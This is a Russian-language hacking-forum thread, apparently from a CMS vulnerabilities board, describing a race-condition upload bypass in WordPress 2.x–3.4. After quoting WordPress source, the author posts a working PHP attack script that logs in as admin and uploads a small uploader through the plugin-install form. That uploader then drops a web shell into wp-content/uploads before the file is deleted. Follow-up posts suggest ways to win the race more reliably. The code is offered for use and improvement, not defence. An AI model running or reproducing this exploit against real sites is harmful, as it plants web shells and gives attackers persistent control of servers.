WordPress 2.*<3.4 и Файл Шрёдингера

Discussion in 'Уязвимости CMS/форумов' started by BigBear, 27 Mar 2015.

  1. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    919
    Reputations:
    862
    WordPress 2.*<3.4 и Файл Шрёдингера

    Предисловие:

    [​IMG]

    - Видишь суслика?
    - Нет.
    - И я не вижу. А он есть!
    - Поняно...

    (с) ДМБ

    ==========================================

    Описание уязвимости:

    Загрузка произвольных файлов в обход внутренних правил безопасности WordPress на ветке 2.* < 3.4

    ==========================================

    Подробности:

    На самом деле в ветке 2.* сильно никаких проверок то и нет, достаточно почитать моё исследование раньше в этой теме.

    Поэтому нам будет интересно поковырять ветку 3.0 и выше, где content-type и расширения фильтруются уже на уровне загрузки в Media Manager.

    И так... Что мы имеем:

    1) Логин и пароль админа;
    2) Права на запись в папку ./wp-content/uploads (по умолчанию вкл)
    3) Возможность редактирования шаблонов как php кода - заблокировано.
    4) Возможность редактирования плагинов как php кода - заблокировано.
    5) Загрузка файлов через MediaManager - режется внутренними фильтрами.
    6) В версии <3.4 ещё нет возможности сохранять в папке /uploads любой файл как php код.


    Вот в таких немного жестковатых условиях начнём экспериментировать.

    В результате фаззинга, ещё летом 2014 года я наковырял интересную фишку.

    Если попробовать загрузить файл через "Upload New Plugin" или "Upload New Theme" - дата изменения папки ./wp-content/uploads меняется на текущую, хотя файлов там не прибавляется.

    Стало интересно, полез читать исходники. Вот что вычитал:

    ./wp-admin/includes/plugin-install.php
    Code:
    ..........................
    
    function install_plugins_upload( $page = 1 ) {
    ?>
        <h4><?php _e('Install a plugin in .zip format') ?></h4>
        <p class="install-help"><?php _e('If you have a plugin in a .zip format, you may install it by uploading it here.') ?></p>
        <form method="post" enctype="multipart/form-data" action="<?php echo admin_url('update.php?action=upload-plugin') ?>">
            <?php wp_nonce_field( 'plugin-upload') ?>
            <label class="screen-reader-text" for="pluginzip"><?php _e('Plugin zip file'); ?></label>
            <input type="file" id="pluginzip" name="pluginzip" />
            <input type="submit" class="button" value="<?php esc_attr_e('Install Now') ?>" />
        </form>
    .......................
    ./wp-admin/includes/class-pclzip.php
    Code:
    .................................
    
    function privAdd($p_filedescr_list, &$p_result_list, &$p_options)
      {
        $v_result=1;
        $v_list_detail = array();
    
        // ----- Look if the archive exists or is empty
        if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0))
        {
    
         .....................................................................
    
        // ----- Open the zip file
        if (($v_result=$this->privOpenFd('rb')) != 1)
        {
         .....................................................................
    
    
        // ----- Creates a temporay file
        $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
    
        // ----- Open the temporary file in write mode
        if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
        {
          $this->privCloseFd();
          $this->privSwapBackMagicQuotes();
    
          PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
    
          // ----- Return
          return PclZip::errorCode();
        }
    
        // ----- Copy the files from the archive to the temporary file
        // TBC : Here I should better append the file and go back to erase the central dir
        $v_size = $v_central_dir['offset'];
        while ($v_size != 0)
        {
          $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
          $v_buffer = fread($this->zip_fd, $v_read_size);
          @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
          $v_size -= $v_read_size;
        }
    
       ...........................................................
    
        // ----- Create the central dir footer
        if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1)
        {
          // ----- Reset the file list
          unset($v_header_list);
          $this->privSwapBackMagicQuotes();
    
          // ----- Return
          return $v_result;
        }
    
        // ----- Swap back the file descriptor
        $v_swap = $this->zip_fd;
        $this->zip_fd = $v_zip_temp_fd;
        $v_zip_temp_fd = $v_swap;
    
        // ----- Close
        $this->privCloseFd();
    
        // ----- Close the temporary file
        @fclose($v_zip_temp_fd);
    
        // ----- Magic quotes trick
        $this->privSwapBackMagicQuotes();
    
        // ----- Delete the zip file
        // TBC : I should test the result ...
        @unlink($this->zipname);
    
        // ----- Rename the temporary file
        // TBC : I should test the result ...
        //@rename($v_zip_temp_name, $this->zipname);
        PclZipUtilRename($v_zip_temp_name, $this->zipname);
    
        // ----- Return
        return $v_result;
      }
    Ну или вкратце: загружаемый zip архив открывается, парсится, распаковывается и удаляется.

    Все действия - в порядке вещей.

    Если мы попробуем вместо .zip подсунуть .php файл, он тоже будет подвергаться всем этим действиям, и в итоге - удалится.

    При попытке загрузить шелл-код на сервер, я столкнулся с проблемой 0.233 секунд - этого времени явно маловато для последовательной загрузки аплоадера и затем самого шелл-кода.

    Однако, если пропихнуть в аплоадер что-нибудь для веса - время парсинга можно увеличить до рекордных 1.363 секунд. (тут я рассматриваю стандартную конфигурацию сервера, а конкретно Denwer сборку).

    Значит вручную это будет делать тяжело, пишем скрипт.

    В итоге родился такой концепт (это бета-версия)
    script.php
    Code:
    <?php
    
    header("Content-Type: text/html; charset=utf-8");
    
    # Main Data
    $login = 'admin';
    $password = 'wp31';
    $site = 'http://10.4.20.11/wp';
    $uploader = '@c:/up.php';
    $shellcode = '@c:/1pas.php';
    
    $user_agent = 'BigBear Uploader';
    $cookies = dirname(__FILE__) . '/cookies.txt';
    
    $automatic = curl_init();
    curl_setopt($automatic, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($automatic, CURLOPT_REFERER, "http://mail.ru/");
    curl_setopt($automatic, CURLOPT_TIMEOUT, 10);
    curl_setopt($automatic, CURLOPT_URL, $site . '/wp-login.php');
    curl_setopt($automatic, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($automatic, CURLOPT_FOLLOWLOCATION, true);
    
    # Login Procedure
    curl_setopt($automatic, CURLOPT_POST, true);
    curl_setopt($automatic, CURLOPT_POSTFIELDS, "log=$login&pwd=$password&wp-submit=Войти&redirect_to=$site/wp-admin/plugin-install.php?tab=upload");
    curl_setopt($automatic, CURLOPT_COOKIEFILE, $cookies);
    curl_setopt($automatic, CURLOPT_COOKIEJAR, $cookies);
    curl_exec($automatic);
    
    # Checking for good/bad
    curl_setopt($automatic, CURLOPT_URL, $site. '/wp-admin/plugin-install.php?tab=upload');
    $demo = curl_exec($automatic);
    
    if (strripos($demo, 'logout') === false) {
        echo "Login Failed<br><br>";
        exit;
    } else {
        echo "Login Succesful<br><br>";
    }
    
    #Procedure Test Upload
    
    $postData['_wp_http_referer'] = '/wp-admin/plugin-install.php?tab=upload';
    $postData['pluginzip'] = $uploader;
    $postData['_wpnonce'] = '671ff2df4a';
    $postData['submit'] = 'Установить';
    
    curl_setopt($automatic, CURLOPT_URL, $site. '/wp-admin/update.php?action=upload-plugin');
    curl_setopt($automatic, CURLOPT_POSTFIELDS, $postData);
    curl_setopt($automatic, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($automatic, CURLOPT_VERBOSE, true);
    
    $demo = curl_exec($automatic);
    
    if (strripos($demo, 'PCLZIP_ERR_BAD_FORMAT') === false) {
        echo "Test upload Failed<br><br>";
    } else {
        echo "Test upload Succesful<br><br>";
    }
    
    #Procedure Upload of ShellCode
    
    $postData['file'] = $shellcode;
    $postData['submit'] = 'Установить';
    
    curl_setopt($automatic, CURLOPT_URL, $site. '/wp-content/uploads/up.php');
    curl_setopt($automatic, CURLOPT_POSTFIELDS, $postData);
    curl_setopt($automatic, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($automatic, CURLOPT_VERBOSE, true);
    
    $demo = curl_exec($automatic);
    
    if (strripos($demo, 'Success') === false) {
        echo "Upload of shellcode Failed<br><br>";
    } else {
        echo "Upload of shellcode Succesful<br><br>";
        echo "Shell is here - ./wp-content/uploads/1pas.php";
    }
    
    curl_close($automatic);
    ?>
    Up.php
    Code:
    <?php
    if(isset($_FILES['file'])){
        $file_name = $_FILES['file']['name'];
        $file_tmp =$_FILES['file']['tmp_name'];
        move_uploaded_file($file_tmp,"./".$file_name);
        echo "Success";
        }
    ?>
    <form action="" method="POST" enctype="multipart/form-data">
        <input type="file" name="file" />
        <input type="submit"/>
    </form>
    Как это работает:

    Скрипт авторизуется в WordPress, заливает uploader в ./wp-content/uploads и отправляет аплоадеру запрос на загрузку шелл кода, пока аплоадер ещё не удалён.

    Какие проблемы:

    1) Запрос к аплоадеру отправляется слишком поздно, на localhost загрузка идёт раз через раз. Нужно использовать multi-exec.

    2) Хорошо бы вместо аплоадера использовать конструкцию типа cp('./wp-content/uploads/image.jpg','./wp-content/uploads/shell.php').

    Эта конструкция лучше, так как менее временизатратная, вы просто стандартным MediaManager аплоадите картинку с шеллом, а наш скрипт её переименуют и переместит. Можно успеть уложиться в отведённое время.

    Заключение:

    Скрипт пока ещё будет дописываться, концепт показал. Коллеги, может будут какие-нибудь предложения по увеличению времени жизни загружаемого аплоадера?
     
    _________________________
    #1 BigBear, 27 Mar 2015
    Last edited: 5 Feb 2018
  2. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    919
    Reputations:
    862
    По сути тут чистый Race Condition, как мне уже предложили, разумно в качестве Uploader использовать file_put_contents(shell_code), а для того, что бы войти в состоянии гонки - использовать bash curl -X HEAD <uploader>.

    Это бы решило проблему.... Но кое-где HEAD бывает отключен, GET может парсить долго. Что делать тогда?
     
    _________________________
    1 person likes this.
  3. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    919
    Reputations:
    862
    Спускаем для завлечения в лвл8
     
    _________________________
    erwerr2321 likes this.